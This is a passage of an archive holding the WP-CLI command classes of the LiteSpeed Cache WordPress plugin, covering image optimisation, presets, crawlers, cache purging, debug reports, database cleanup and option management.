img_optm --force * * @param array $param Positional arguments (service). * @param array $assoc_args Associative arguments. */ public function ping( $param, $assoc_args ) { $svc = $param[0]; $force = ! empty( $assoc_args['force'] ); $json = $this->cloud->detect_cloud( $svc, $force ); if ( $json ) { WP_CLI::success( 'Updated closest server.' ); } WP_CLI::log( 'svc = ' . $svc ); WP_CLI::log( 'node = ' . ( $json ? $json : '-' ) ); } } ���plugins/litespeed-cache/cli/image.cls.php�����������������������������������������������������������0000644�����������������00000007274�15233526476�0014415 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Image Optimization API CLI for LiteSpeed integration. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Lang; use LiteSpeed\Debug2; use LiteSpeed\Img_Optm; use LiteSpeed\Utility; use WP_CLI; /** * Image Optimization API CLI */ class Image { /** * Image optimization instance. * * @var Img_Optm */ private $img_optm; /** * Constructor for Image CLI. */ public function __construct() { Debug2::debug( 'CLI_Cloud init' ); $this->img_optm = Img_Optm::cls(); } /** * Batch toggle optimized images with original images. * * ## OPTIONS * * [<type>] * : Type to switch to (orig or optm). * * ## EXAMPLES * * # Switch to original images * $ wp litespeed-image batch_switch orig * * # Switch to optimized images * $ wp litespeed-image batch_switch optm * * @param array $param Positional arguments (type). */ public function batch_switch( $param ) { $type = $param[0]; $this->img_optm->batch_switch( $type ); } /** * Send image optimization request to QUIC.cloud server. * * ## OPTIONS * * ## EXAMPLES * * # Send image optimization request * $ wp litespeed-image push */ public function push() { $this->img_optm->new_req(); } /** * Pull optimized images from QUIC.cloud server. * * ## OPTIONS * * ## EXAMPLES * * # Pull images back from cloud * $ wp litespeed-image pull */ public function pull() { $this->img_optm->pull( true ); } /** * Show optimization status based on local data (alias for status). * * ## OPTIONS * * ## EXAMPLES * * # Show optimization status * $ wp litespeed-image s */ public function s() { $this->status(); } /** * Show optimization status based on local data. * * ## OPTIONS * * ## EXAMPLES * * # Show optimization status * $ wp litespeed-image status */ public function status() { $summary = Img_Optm::get_summary(); $img_count = $this->img_optm->img_count(); foreach ( Lang::img_status() as $k => $v ) { if ( isset( $img_count["img.$k"] ) ) { $img_count["$v - images"] = $img_count["img.$k"]; unset( $img_count["img.$k"] ); } if ( isset( $img_count["group.$k"] ) ) { $img_count["$v - groups"] = $img_count["group.$k"]; unset( $img_count["group.$k"] ); } } foreach ( array( 'reduced', 'reduced_webp', 'reduced_avif' ) as $v ) { if ( ! empty( $summary[$v] ) ) { $summary[$v] = Utility::real_size( $summary[$v] ); } } if ( ! empty( $summary['last_requested'] ) ) { $summary['last_requested'] = gmdate( 'm/d/y H:i:s', $summary['last_requested'] ); } $list = array(); foreach ( $summary as $k => $v ) { $list[] = array( 'key' => $k, 'value' => $v, ); } $list2 = array(); foreach ( $img_count as $k => $v ) { if ( ! $v ) { continue; } $list2[] = array( 'key' => $k, 'value' => $v, ); } WP_CLI\Utils\format_items( 'table', $list, array( 'key', 'value' ) ); WP_CLI::line( WP_CLI::colorize( '%CImages in database summary:%n' ) ); WP_CLI\Utils\format_items( 'table', $list2, array( 'key', 'value' ) ); } /** * Clean up unfinished image data from QUIC.cloud server. * * ## OPTIONS * * ## EXAMPLES * * # Clean up unfinished requests * $ wp litespeed-image clean */ public function clean() { $this->img_optm->clean(); WP_CLI::line( WP_CLI::colorize( '%CLatest status:%n' ) ); $this->status(); } /** * Remove original image backups. * * ## OPTIONS * * ## EXAMPLES * * # Remove original image backups * $ wp litespeed-image rm_bkup */ public function rm_bkup() { $this->img_optm->rm_bkup(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/presets.cls.php���������������������������������������������������������0000644�����������������00000003516�15233526476�0015013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Presets CLI for LiteSpeed Cache. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Debug2; use LiteSpeed\Preset; use WP_CLI; /** * Presets CLI */ class Presets { /** * Preset instance. * * @var Preset */ private $preset; /** * Constructor for Presets CLI. */ public function __construct() { Debug2::debug( 'CLI_Presets init' ); $this->preset = Preset::cls(); } /** * Applies a standard preset's settings. * * ## OPTIONS * * <preset> * : The preset name to apply (e.g., basic). * * ## EXAMPLES * * # Apply the preset called "basic" * $ wp litespeed-presets apply basic * * @param array $args Positional arguments (preset). */ public function apply( $args ) { $preset = $args[0]; if ( empty( $preset ) ) { WP_CLI::error( 'Please specify a preset to apply.' ); return; } return $this->preset->apply( $preset ); } /** * Returns sorted backup names. * * ## OPTIONS * * ## EXAMPLES * * # Get all backups * $ wp litespeed-presets get_backups */ public function get_backups() { $backups = $this->preset->get_backups(); foreach ( $backups as $backup ) { WP_CLI::line( $backup ); } } /** * Restores settings from the backup file with the given timestamp, then deletes the file. * * ## OPTIONS * * <timestamp> * : The timestamp of the backup to restore. * * ## EXAMPLES * * # Restore the backup with the timestamp 1667485245 * $ wp litespeed-presets restore 1667485245 * * @param array $args Positional arguments (timestamp). */ public function restore( $args ) { $timestamp = $args[0]; if ( empty( $timestamp ) ) { WP_CLI::error( 'Please specify a timestamp to restore.' ); return; } return $this->preset->restore( $timestamp ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/crawler.cls.php���������������������������������������������������������0000644�����������������00000013552�15233526476�0014766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Cache CLI Crawler Commands * * Provides WP-CLI commands for managing LiteSpeed Cache crawlers. * * @package LiteSpeed * @since 1.1.0 */ namespace LiteSpeed\CLI; defined('WPINC') || exit(); use LiteSpeed\Debug2; use LiteSpeed\Base; use LiteSpeed\Task; use LiteSpeed\Crawler as Crawler2; use WP_CLI; /** * Crawler */ class Crawler extends Base { /** * Crawler instance * * @var Crawler2 $crawler */ private $crawler; /** * Constructor for Crawler CLI commands * * @since 1.1.0 */ public function __construct() { Debug2::debug('CLI_Crawler init'); $this->crawler = Crawler2::cls(); } /** * List all crawlers * * Displays a table of all crawlers with their details. * * ## OPTIONS * * ## EXAMPLES * * # List all crawlers * $ wp litespeed-crawler l * * @since 1.1.0 */ public function l() { $this->list(); } /** * List all crawlers * * Displays a table of all crawlers with their details. * * ## OPTIONS * * ## EXAMPLES * * # List all crawlers * $ wp litespeed-crawler list * * @since 1.1.0 */ public function list() { $crawler_list = $this->crawler->list_crawlers(); $summary = Crawler2::get_summary(); if ($summary['curr_crawler'] >= count($crawler_list)) { $summary['curr_crawler'] = 0; } $is_running = time() - $summary['is_running'] <= 900; $crawler_run_interval = defined('LITESPEED_CRAWLER_RUN_INTERVAL') ? LITESPEED_CRAWLER_RUN_INTERVAL : 600; // Specify time in seconds for the time between each run interval if ($crawler_run_interval > 0) { $recurrence = ''; $hours = (int) floor($crawler_run_interval / 3600); if ($hours) { if ($hours > 1) { $recurrence .= sprintf(__('%d hours', 'litespeed-cache'), $hours); } else { $recurrence .= sprintf(__('%d hour', 'litespeed-cache'), $hours); } } $minutes = (int) floor(($crawler_run_interval % 3600) / 60); if ($minutes) { $recurrence .= ' '; if ($minutes > 1) { $recurrence .= sprintf(__('%d minutes', 'litespeed-cache'), $minutes); } else { $recurrence .= sprintf(__('%d minute', 'litespeed-cache'), $minutes); } } } $list = array(); foreach ($crawler_list as $i => $v) { $hit = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_HIT]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_HIT] : 0; $miss = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_MISS]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_MISS] : 0; $blacklisted = !empty($summary['crawler_stats'][$i][Crawler2::STATUS_BLACKLIST]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_BLACKLIST] : 0; $blacklisted += !empty($summary['crawler_stats'][$i][Crawler2::STATUS_NOCACHE]) ? $summary['crawler_stats'][$i][Crawler2::STATUS_NOCACHE] : 0; if (isset($summary['crawler_stats'][$i][Crawler2::STATUS_WAIT])) { $waiting = $summary['crawler_stats'][$i][Crawler2::STATUS_WAIT] ?? 0; } else { $waiting = $summary['list_size'] - $hit - $miss - $blacklisted; } $analytics = 'Waiting: ' . $waiting; $analytics .= ' Hit: ' . $hit; $analytics .= ' Miss: ' . $miss; $analytics .= ' Blocked: ' . $blacklisted; $running = ''; if ($i === $summary['curr_crawler']) { $running = 'Pos: ' . ($summary['last_pos'] + 1); if ($is_running) { $running .= '(Running)'; } } $status = $this->crawler->is_active($i) ? '✅' : '❌'; $list[] = array( 'ID' => $i + 1, 'Name' => wp_strip_all_tags($v['title']), 'Frequency' => $recurrence, 'Status' => $status, 'Analytics' => $analytics, 'Running' => $running, ); } WP_CLI\Utils\format_items('table', $list, array( 'ID', 'Name', 'Frequency', 'Status', 'Analytics', 'Running' )); } /** * Enable one crawler * * ## OPTIONS * * <id> * : The ID of the crawler to enable. * * ## EXAMPLES * * # Turn on 2nd crawler * $ wp litespeed-crawler enable 2 * * @since 1.1.0 * @param array $args Command arguments. */ public function enable( $args ) { $id = $args[0] - 1; if ($this->crawler->is_active($id)) { WP_CLI::error('ID #' . $id . ' had been enabled'); return; } $this->crawler->toggle_activeness($id); WP_CLI::success('Enabled crawler #' . $id); } /** * Disable one crawler * * ## OPTIONS * * <id> * : The ID of the crawler to disable. * * ## EXAMPLES * * # Turn off 1st crawler * $ wp litespeed-crawler disable 1 * * @since 1.1.0 * @param array $args Command arguments. */ public function disable( $args ) { $id = $args[0] - 1; if (!$this->crawler->is_active($id)) { WP_CLI::error('ID #' . $id . ' has been disabled'); return; } $this->crawler->toggle_activeness($id); WP_CLI::success('Disabled crawler #' . $id); } /** * Run crawling * * ## OPTIONS * * ## EXAMPLES * * # Start crawling * $ wp litespeed-crawler r * * @since 1.1.0 */ public function r() { $this->run(); } /** * Run crawling * * ## OPTIONS * * ## EXAMPLES * * # Start crawling * $ wp litespeed-crawler run * * @since 1.1.0 */ public function run() { self::debug('⚠️⚠️⚠️ Forced take over lane (CLI)'); $this->crawler->Release_lane(); Task::async_call('crawler'); $summary = Crawler2::get_summary(); WP_CLI::success('Start crawling. Current crawler #' . ($summary['curr_crawler'] + 1) . ' [position] ' . $summary['last_pos'] . ' [total] ' . $summary['list_size']); } /** * Reset crawler position * * ## OPTIONS * * ## EXAMPLES * * # Reset crawler position * $ wp litespeed-crawler reset * * @since 1.1.0 */ public function reset() { $this->crawler->reset_pos(); $summary = Crawler2::get_summary(); WP_CLI::success('Reset position. Current crawler #' . ($summary['curr_crawler'] + 1) . ' [position] ' . $summary['last_pos'] . ' [total] ' . $summary['list_size']); } } ������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/purge.cls.php�����������������������������������������������������������0000644�����������������00000016102�15233526476�0014443 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Cache Purge Interface CLI. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Core; use LiteSpeed\Router; use LiteSpeed\Admin_Display; use WP_CLI; /** * LiteSpeed Cache Purge Interface */ class Purge { /** * List all site domains and ids on the network. * * For use with the blog subcommand. * * ## EXAMPLES * * # List all the site domains and ids in a table. * $ wp litespeed-purge network_list */ public function network_list() { if ( ! is_multisite() ) { WP_CLI::error( 'This is not a multisite installation!' ); return; } $buf = WP_CLI::colorize( '%CThe list of installs:%n' ) . PHP_EOL; $sites = get_sites(); foreach ( $sites as $site ) { $buf .= WP_CLI::colorize( '%Y' . $site->domain . $site->path . ':%n ID ' . $site->blog_id ) . PHP_EOL; } WP_CLI::line( $buf ); } /** * Sends an AJAX request to the site. * * @param string $action The action to perform. * @param array $extra Additional data to include in the request. * @return object The HTTP response. * @since 1.0.14 */ private function send_request( $action, $extra = array() ) { $data = array( Router::ACTION => $action, Router::NONCE => wp_create_nonce( $action ), ); if ( ! empty( $extra ) ) { $data = array_merge( $data, $extra ); } $url = admin_url( 'admin-ajax.php' ); WP_CLI::debug( 'URL is ' . $url ); $out = WP_CLI\Utils\http_request( 'GET', $url, $data ); return $out; } /** * Purges all cache entries for the blog (the entire network if multisite). * * ## EXAMPLES * * # Purge Everything associated with the WordPress install. * $ wp litespeed-purge all */ public function all() { $action = is_multisite() ? Core::ACTION_QS_PURGE_EMPTYCACHE : Core::ACTION_QS_PURGE_ALL; $purge_ret = $this->send_request( $action ); if ( $purge_ret->success ) { WP_CLI::success( __( 'Purged All!', 'litespeed-cache' ) ); } else { WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code ); } } /** * Purges all cache entries for the blog. * * ## OPTIONS * * <blogid> * : The blog id to purge. * * ## EXAMPLES * * # In a multisite install, purge only the shop.example.com cache (stored as blog id 2). * $ wp litespeed-purge blog 2 * * @param array $args Positional arguments (blogid). */ public function blog( $args ) { if ( ! is_multisite() ) { WP_CLI::error( 'Not a multisite installation.' ); return; } $blogid = $args[0]; if ( ! is_numeric( $blogid ) ) { $error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' ); WP_CLI::line( $error ); $this->network_list( $args ); return; } $site = get_blog_details( $blogid ); if ( false === $site ) { $error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' ); WP_CLI::line( $error ); $this->network_list( $args ); return; } switch_to_blog( $blogid ); $purge_ret = $this->send_request( Core::ACTION_QS_PURGE_ALL ); if ( $purge_ret->success ) { WP_CLI::success( __( 'Purged the blog!', 'litespeed-cache' ) ); } else { WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code ); } } /** * Purges all cache tags related to a URL. * * ## OPTIONS * * <url> * : The URL to purge. * * ## EXAMPLES * * # Purge the front page. * $ wp litespeed-purge url https://mysite.com/ * * @param array $args Positional arguments (URL). */ public function url( $args ) { $data = array( Router::ACTION => Core::ACTION_QS_PURGE, ); $url = $args[0]; $deconstructed = wp_parse_url( $url ); if ( empty( $deconstructed ) ) { WP_CLI::error( 'URL passed in is invalid.' ); return; } if ( is_multisite() ) { if ( 0 === get_blog_id_from_url( $deconstructed['host'], '/' ) ) { WP_CLI::error( 'Multisite URL passed in is invalid.' ); return; } } else { $deconstructed_site = wp_parse_url( get_home_url() ); if ( $deconstructed['host'] !== $deconstructed_site['host'] ) { WP_CLI::error( 'Single site URL passed in is invalid.' ); return; } } WP_CLI::debug( 'URL is ' . $url ); $purge_ret = WP_CLI\Utils\http_request( 'GET', $url, $data ); if ( $purge_ret->success ) { WP_CLI::success( __( 'Purged the URL!', 'litespeed-cache' ) ); } else { WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code ); } } /** * Helper function for purging by IDs. * * @param array $args The ID list to parse. * @param string $select The purge by kind. * @param callable $callback The callback function to check the ID. */ private function purgeby( $args, $select, $callback ) { $filtered = array(); foreach ( $args as $val ) { if ( ! ctype_digit( $val ) ) { WP_CLI::debug( '[LSCACHE] Skip val, not a number. ' . $val ); continue; } $term = $callback( $val ); if ( ! empty( $term ) ) { WP_CLI::line( $term->name ); $filtered[] = in_array( $callback, array( 'get_tag', 'get_category' ), true ) ? $term->name : $val; } else { WP_CLI::debug( '[LSCACHE] Skip val, not a valid term. ' . $val ); } } if ( empty( $filtered ) ) { WP_CLI::error( 'Arguments must be integer IDs.' ); return; } $str = implode( ',', $filtered ); $purge_titles = array( Admin_Display::PURGEBY_CAT => 'Category', Admin_Display::PURGEBY_PID => 'Post ID', Admin_Display::PURGEBY_TAG => 'Tag', Admin_Display::PURGEBY_URL => 'URL', ); WP_CLI::line( 'Will purge the following: [' . $purge_titles[ $select ] . '] ' . $str ); $data = array( Admin_Display::PURGEBYOPT_SELECT => $select, Admin_Display::PURGEBYOPT_LIST => $str, ); $purge_ret = $this->send_request( Core::ACTION_PURGE_BY, $data ); if ( $purge_ret->success ) { WP_CLI::success( __( 'Purged!', 'litespeed-cache' ) ); } else { WP_CLI::error( 'Something went wrong! Got ' . $purge_ret->status_code ); } } /** * Purges cache tags for a WordPress tag. * * ## OPTIONS * * <ids>... * : The Term IDs to purge. * * ## EXAMPLES * * # Purge the tag IDs 1, 3, and 5 * $ wp litespeed-purge tag 1 3 5 * * @param array $args Positional arguments (IDs). */ public function tag( $args ) { $this->purgeby( $args, Admin_Display::PURGEBY_TAG, 'get_tag' ); } /** * Purges cache tags for a WordPress category. * * ## OPTIONS * * <ids>... * : The Term IDs to purge. * * ## EXAMPLES * * # Purge the category IDs 1, 3, and 5 * $ wp litespeed-purge category 1 3 5 * * @param array $args Positional arguments (IDs). */ public function category( $args ) { $this->purgeby( $args, Admin_Display::PURGEBY_CAT, 'get_category' ); } /** * Purges cache tags for a WordPress Post/Product. * * @alias product * * ## OPTIONS * * <ids>... * : The Post IDs to purge. * * ## EXAMPLES * * # Purge the post IDs 1, 3, and 5 * $ wp litespeed-purge post_id 1 3 5 * * @param array $args Positional arguments (IDs). */ public function post_id( $args ) { $this->purgeby( $args, Admin_Display::PURGEBY_PID, 'get_post' ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/debug.cls.php�����������������������������������������������������������0000644�����������������00000001316�15233526476�0014410 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Debug API CLI for LiteSpeed integration. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Debug2; use LiteSpeed\Report; use WP_CLI; /** * Debug API CLI */ class Debug { /** * Report instance. * * @var Report */ private $report; /** * Constructor for Debug CLI. */ public function __construct() { Debug2::debug( 'CLI_Debug init' ); $this->report = Report::cls(); } /** * Send report * * ## OPTIONS * * ## EXAMPLES * * # Send env report to LiteSpeed * $ wp litespeed-debug send */ public function send() { $num = $this->report->post_env(); WP_CLI::success( 'Report Number = ' . $num ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/cli/database.cls.php��������������������������������������������������������0000644�����������������00000011723�15233526476�0015071 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed CLI - database cleanup * * Add CLI database cleanup commands. * * @package LiteSpeed * @since 7.3 */ namespace LiteSpeed\CLI; defined('WPINC') || exit(); use LiteSpeed\Debug2; use LiteSpeed\DB_Optm; use WP_CLI; /** * LiteSpeed Cache Database CLI */ class Database { /** * Current blog id the optimization is working on. * * @var int|false $current_blog Current blog id. */ private $current_blog = false; /** * Database class. * * @var DB_Optim $db Database class. */ private $db; /** * Class constructor. */ public function __construct() { Debug2::debug('CLI_Database init'); $this->db = DB_Optm::cls(); } /** * List all site domains and ids on the network. */ public function network_list() { if ( !is_multisite() ) { WP_CLI::error('This is not a multisite installation!'); return; } $buf = WP_CLI::colorize("%CThe list of installs:%n\n"); $sites = get_sites(); foreach ( $sites as $site ) { $buf .= WP_CLI::colorize( '%Y' . $site->domain . $site->path . ':%n ID ' . $site->blog_id ) . "\n"; } WP_CLI::line($buf); } /** * Change to blog sent as param. * * @param array $args Description. */ private function change_to_blog( $args ) { if ( !isset( $args[0] ) || 'blog' !== $args[0] ) { return; } $this->current_blog = get_current_blog_id(); $blogid = $args[1]; if ( !is_numeric( $blogid ) ) { $error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' ); WP_CLI::line( $error ); $this->network_list( $args ); return; } $site = get_blog_details( $blogid ); if ( false === $site ) { $error = WP_CLI::colorize( '%RError: invalid blog id entered.%n' ); WP_CLI::line( $error ); $this->network_list( $args ); return; } switch_to_blog( $blogid ); } /** * Change to previous blog. */ private function change_to_default() { // Check if previous blog set. if ( $this->current_blog ) { switch_to_blog( $this->current_blog ); // Switched to previous blog. $this->current_blog = false; } } /** * Show CLI response. * * @param boolean $result Flag if result is success or failure. * @param string $action Action name. */ private function show_response( $result, $action ) { if ($result) { WP_CLI::success( $result ); } else { WP_CLI::error( 'Error running optimization: ' . $action ); } } /** * Clean actions function. * * @param int $args Action arguments. * @param array $types What data to clean. */ private function clean_action( $args, $types ) { $this->change_to_blog( $args ); foreach ( $types as $type ) { $result = $this->db->handler_clean_db_cli( $type ); $this->show_response( $result, $type ); } $this->change_to_default(); } /** * Clear posts data(revisions, orphaned, auto drafts, trashed posts). * # Start clearing posts data. * $ wp litespeed-database clear_posts * $ wp litespeed-database clear_posts blog 2 * * @param string $args Action arguments. */ public function clear_posts( $args ) { $types = array( 'revision', 'orphaned_post_meta', 'auto_draft', 'trash_post', ); $this->clean_action( $args, $types ); } /** * Clear comments(spam and trash comments). * # Start clearing comments. * $ wp litespeed-database clear_comments * $ wp litespeed-database clear_comments blog 2 * * @param string $args Action arguments. */ public function clear_comments( $args ) { $types = array( 'spam_comment', 'trash_comment', ); $this->clean_action( $args, $types ); } /** * Clear trackbacks/pingbacks. * # Start clearing trackbacks/pingbacks. * $ wp litespeed-database clear_trackbacks * $ wp litespeed-database clear_trackbacks blog 2 * * @param string $args Action arguments. */ public function clear_trackbacks( $args ) { $types = array( 'trackback-pingback', ); $this->clean_action( $args, $types ); } /** * Clear transients. * # Start clearing transients. * $ wp litespeed-database clear_transients * $ wp litespeed-database clear_transients blog 2 * * @param string $args Action arguments. */ public function clear_transients( $args ) { $types = array( 'expired_transient', 'all_transients', ); $this->clean_action( $args, $types ); } /** * Optimize tables. * # Start optimizing tables. * $ wp litespeed-database optimize_tables * $ wp litespeed-database optimize_tables blog 2 * * @param string $args Action arguments. */ public function optimize_tables( $args ) { $types = array( 'optimize_tables', ); $this->clean_action( $args, $types ); } /** * Optimize database by running all possible operations. * # Start optimizing all. * $ wp litespeed-database optimize_all * $ wp litespeed-database optimize_all blog 2 * * @param string $args Action arguments. */ public function optimize_all( $args ) { $types = array( 'all', ); $this->clean_action( $args, $types ); } } ���������������������������������������������plugins/litespeed-cache/cli/option.cls.php����������������������������������������������������������0000644�����������������00000024154�15233526476�0014637 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Cache option Interface CLI. * * @package LiteSpeed\CLI */ namespace LiteSpeed\CLI; defined( 'WPINC' ) || exit(); use LiteSpeed\Base; use LiteSpeed\Admin_Settings; use LiteSpeed\Utility; use WP_CLI; use WP_Filesystem; /** * LiteSpeed Cache option Interface */ class Option extends Base { /** * Set an individual LiteSpeed Cache option. * * ## OPTIONS * * <key> * : The option key to update. * * <newvalue> * : The new value to set the option to. * * ## EXAMPLES * * # Set to not cache the login page * $ wp litespeed-option set cache-priv false * $ wp litespeed-option set 'cdn-mapping[url][0]' https://cdn.EXAMPLE.com * $ wp litespeed-option set media-lqip_exc $'line1\nline2' * * @param array $args Positional arguments (key, newvalue). * @param array $assoc_args Associative arguments. */ public function set( $args, $assoc_args ) { // Note: If the value is multiple dimensions like cdn-mapping, need to specially handle it both here and in `const.default.json` // For CDN/Crawler multi dimension settings, if all children are empty in one line, will delete that line. To delete one line, just set all to empty. // E.g. to delete cdn-mapping[0], need to run below: // `set cdn-mapping[url][0] ''` // `set cdn-mapping[inc_img][0] ''` // `set cdn-mapping[inc_css][0] ''` // `set cdn-mapping[inc_js][0] ''` // `set cdn-mapping[filetype][0] ''` $key = $args[0]; $val = $args[1]; // For CDN mapping, allow: // `set 'cdn-mapping[url][0]' https://the1st_cdn_url` // `set 'cdn-mapping[inc_img][0]' true` // `set 'cdn-mapping[inc_img][0]' 1` // // For Crawler cookies: // `set 'crawler-cookies[name][0]' my_currency` // `set 'crawler-cookies[vals][0]' "USD\nTWD"` // // For multi lines setting: // `set media-lqip_exc $'img1.jpg\nimg2.jpg'` // Build raw data $raw_data = array( Admin_Settings::ENROLL => array( $key ), ); // Contains child set if ( false !== strpos( $key, '[' ) ) { parse_str( $key . '=' . $val, $key2 ); $raw_data = array_merge( $raw_data, $key2 ); } else { $raw_data[ $key ] = $val; } $this->cls( 'Admin_Settings' )->save( $raw_data ); WP_CLI::line( "$key:" ); $this->get( $args, $assoc_args ); } /** * Get all plugin options. * * ## OPTIONS * * [--format=<format>] * : Output format (e.g., json). * * ## EXAMPLES * * # Get all options * $ wp litespeed-option all * $ wp litespeed-option all --json * $ wp litespeed-option all --format=json * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function all( $args, $assoc_args ) { $options = $this->get_options(); if ( ! empty( $assoc_args['format'] ) ) { WP_CLI::print_value( $options, $assoc_args ); return; } $option_out = array(); $buf = WP_CLI::colorize( '%CThe list of options:%n' ); WP_CLI::line( $buf ); foreach ( $options as $k => $v ) { if ( self::O_CDN_MAPPING === $k || self::O_CRAWLER_COOKIES === $k ) { foreach ( $v as $k2 => $v2 ) { // $k2 is numeric if ( is_array( $v2 ) ) { foreach ( $v2 as $k3 => $v3 ) { // $k3 is 'url/inc_img/name/vals' if ( is_array( $v3 ) ) { $option_out[] = array( 'key' => '', 'value' => '', ); foreach ( $v3 as $k4 => $v4 ) { $option_out[] = array( 'key' => 0 === $k4 ? "{$k}[$k3][$k2]" : '', 'value' => $v4, ); } $option_out[] = array( 'key' => '', 'value' => '', ); } else { $option_out[] = array( 'key' => "{$k}[$k3][$k2]", 'value' => $v3, ); } } } } continue; } elseif ( is_array( $v ) && $v ) { $option_out[] = array( 'key' => '', 'value' => '', ); foreach ( $v as $k2 => $v2 ) { $option_out[] = array( 'key' => 0 === $k2 ? $k : '', 'value' => $v2, ); } $option_out[] = array( 'key' => '', 'value' => '', ); continue; } if ( array_key_exists( $k, self::$_default_options ) && is_bool( self::$_default_options[ $k ] ) && ! $v ) { $v = 0; } if ( '' === $v || array() === $v ) { $v = "''"; } $option_out[] = array( 'key' => $k, 'value' => $v, ); } WP_CLI\Utils\format_items( 'table', $option_out, array( 'key', 'value' ) ); } /** * Get a specific plugin option. * * ## OPTIONS * * <id> * : The option ID to retrieve (e.g., cache-priv, cdn-mapping[url][0]). * * ## EXAMPLES * * # Get one option * $ wp litespeed-option get cache-priv * $ wp litespeed-option get 'cdn-mapping[url][0]' * * @param array $args Positional arguments (id). * @param array $assoc_args Associative arguments. */ public function get( $args, $assoc_args ) { $id = $args[0]; $child = false; if ( false !== strpos( $id, '[' ) ) { parse_str( $id, $id2 ); Utility::compatibility(); $id = array_key_first( $id2 ); $child = array_key_first( $id2[ $id ] ); // is `url` if ( ! $child ) { WP_CLI::error( 'Wrong child key' ); return; } $numeric = array_key_first( $id2[ $id ][ $child ] ); // `0` if ( null === $numeric ) { WP_CLI::error( 'Wrong 2nd level numeric key' ); return; } } if ( ! isset( self::$_default_options[ $id ] ) ) { WP_CLI::error( 'ID not exist [id] ' . $id ); return; } $v = $this->conf( $id ); $default_v = self::$_default_options[ $id ]; // For CDN_mapping and crawler_cookies // Examples of option name: // cdn-mapping[url][0] // crawler-cookies[name][1] if ( self::O_CDN_MAPPING === $id ) { if ( ! in_array( $child, array( self::CDN_MAPPING_URL, self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS, self::CDN_MAPPING_FILETYPE ), true ) ) { WP_CLI::error( 'Wrong child key' ); return; } } if ( self::O_CRAWLER_COOKIES === $id ) { if ( ! in_array( $child, array( self::CRWL_COOKIE_NAME, self::CRWL_COOKIE_VALS ), true ) ) { WP_CLI::error( 'Wrong child key' ); return; } } if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) { if ( ! empty( $v[ $numeric ][ $child ] ) ) { $v = $v[ $numeric ][ $child ]; } elseif ( self::O_CDN_MAPPING === $id ) { if ( in_array( $child, array( self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS ), true ) ) { $v = 0; } else { $v = "''"; } } else { $v = "''"; } } if ( is_array( $v ) ) { $v = implode( PHP_EOL, $v ); } if ( ! $v && self::O_CDN_MAPPING !== $id && self::O_CRAWLER_COOKIES !== $id ) { // empty array for CDN/crawler has been handled if ( is_bool( $default_v ) ) { $v = 0; } elseif ( ! is_array( $default_v ) ) { $v = "''"; } } WP_CLI::line( $v ); } /** * Export plugin options to a file. * * ## OPTIONS * * [--filename=<path>] * : The default path used is CURRENTDIR/lscache_wp_options_DATE-TIME.txt. * To select a different file, use this option. * * ## EXAMPLES * * # Export options to a file. * $ wp litespeed-option export * * @param array $args Positional arguments. * @param array $assoc_args Associative arguments. */ public function export( $args, $assoc_args ) { if ( isset( $assoc_args['filename'] ) ) { $file = $assoc_args['filename']; } else { $file = getcwd() . '/litespeed_options_' . gmdate( 'd_m_Y-His' ) . '.data'; } global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); } if ( ! $wp_filesystem->is_writable( dirname( $file ) ) ) { WP_CLI::error( 'Directory not writable.' ); return; } $data = $this->cls( 'Import' )->export( true ); if ( false === $wp_filesystem->put_contents( $file, $data ) ) { WP_CLI::error( 'Failed to create file.' ); return; } WP_CLI::success( 'Created file ' . $file ); } /** * Import plugin options from a file. * * The file must be formatted as such: * option_key=option_value * One per line. * A semicolon at the beginning of the line indicates a comment and will be skipped. * * ## OPTIONS * * 